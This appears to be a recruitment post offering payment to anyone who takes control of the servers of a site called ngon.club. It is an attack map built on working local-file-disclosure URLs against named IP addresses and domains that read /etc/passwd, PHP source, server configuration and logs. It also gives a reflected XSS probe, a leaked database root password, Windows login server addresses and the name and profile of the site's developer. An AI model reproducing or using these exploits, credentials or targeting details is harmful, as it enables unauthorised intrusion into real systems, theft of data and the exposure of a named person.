Try to find other holes to control the server.
If you can control any of the servers here, send me proof, I will check and pay you immediately $ 1000 to $ 5000.
Take a look at what I have.
================================= NGON.CLUB - vps184760.vps.ovh.ca ====================================================





=> USE LOADBALANCE:
https://159.65.141.226/api/image.php?url=/etc/passwd	=> MAIN 		web.ng.chinh 			not checkip.php
https://149.28.132.58/api/image.php?url=/etc/passwd		=> CLUSTER	 	web.ngon.duphong		not checkip.php		v2.ngon.club	ngon68.club
https://139.99.43.120/api/image.php?url=/etc/passwd		=> CLUSTER 		vps184760.vps.ovh.ca 	checkip.php
https://159.65.137.18//api/image.php?url=/etc/passwd	=> CLUSTER 		web.ng.duphong			checkip.php
https://149.28.137.67/api/image.php?url=/etc/passwd		=> CLUSTER 		web.ng.duphong			checkip.php


https://ngon.club/ -  https://ngon.club/info.php -  https://159.65.141.226/ - 	/var/www/html
Hostname:Port => web.ng.chinh:443



http://v2.ngon.club/info.php	https://149.28.132.58								=> WEB INDEX
https://ngon68.club/info.php	https://149.28.132.58



http://id.ngon.club/						/var/www/html/							    		=> USER
https://id.ngon.club/assets/js/
https://id.ngon.club/check.php - https://id.ngon.club/public//check.php
https://id.ngon.club/app/



http://app.vincom.top/auth/login			http://188.166.225.219							=> BIG CUSTUMER

=> INFO DEV-ER:
PhucTd - Phuc Tran Dinh (Trần Đình Phúc)
https://github.com/phuctd



http://dl.ngon.club/						http://178.128.25.7
https://dl.ngon.club/checkip.php?ip=

http://iw.ngon.club/

http://i.ngon.club/							http://206.189.154.24/

http://an10.ngon.club/ - an.ngon.club:8443/websocket

https://ngon68.club/info.php



=>EXPLOIT LFD

https://159.65.141.226/image/image.php?url=/etc/passwd
https://159.65.141.226/api/image.php?url=/etc/passwd

http://iw.ngon.club/image.php?url=/etc/passwd
http://i.ngon.club/image.php?url=/etc/passwd
http://i.ngon.club/images/





https://ngon.club/api/image.php?url=/var/www/html/api/includes/Session.php
https://ngon.club/api/image.php?url=/var/www/html/api/register.php
https://ngon.club/api/image.php?url=/var/www/html/landing1.php
https://ngon.club/api/image.php?url=/var/www/html/class.IP2LocationAPI.php
https://ngon.club/api/image.php?url=/var/www/html/api/recreate_token.php
https://ngon.club/api/image.php?url=/var/www/html/api/login.php
https://ngon.club/api/image.php?url=/var/www/html/api/loginfb.php
https://ngon.club/api/image.php?url=/var/www/html/api/includes/Functions.php
define("GAME_SERVER", "http://206.189.34.198:8880"); // 209.97.166.200
//define("GAME_SERVER", "http://207.148.125.16:3112");
//define("GAME_SERVER", "http://167.99.71.46:8880");

https://ngon.club/api/image.php?url=/var/www/html/api/includes/MessageKey.php
https://ngon.club/api/image.php?url=/var/www/html/api/Facebook/autoload.php
https://ngon.club/api/image.php?url=/var/www/html/api/Facebook//polyfills.php
https://159.65.141.226/api/image.php?url=/var/www/html/api/wsc.php


https://159.65.137.18/checkip.php																=> RUN OK
https://dl.ngon.club/checkip.php								http://178.128.25.7/			=> RUN OK
https://dl.ngon.club/checkip.php?ip=<h1>TEST</h1>												=> XSS



https://159.65.137.18/api/image.php?url=//var/www/html/checkip.php
https://149.28.137.67/api/image.php?url=//var/www/html/checkip.php
https://139.99.43.120/api/image.php?url=/var/www/html/checkip.php

$dbName = 'db_ip';
$dbUser = 'root';
$dbPass = 'D#9+s2=YeBqBq*3C';



https://159.65.141.226/api/image.php?url=/etc/httpd/conf/httpd.conf
https://159.65.141.226/api/image.php?url=/var/log/lastlog							=> IP REMOTE
https://159.65.141.226/api/image.php?url=/var/log/cron


=====> WINDOWS SERVER LOGIN GAME ROOT SERVER:

-->User remote: guest (DISABLE) - WINDOWS 7 Professional
149.28.149.56 -> LOGIN SERVER web.ng.chinh							phuc-PC				=> VPS OF ADMIN DEV NGON.CLUB
149.28.136.27 -> LOGIN SERVER web.ng.duphong + web.ngon.duphong		sn2018-PC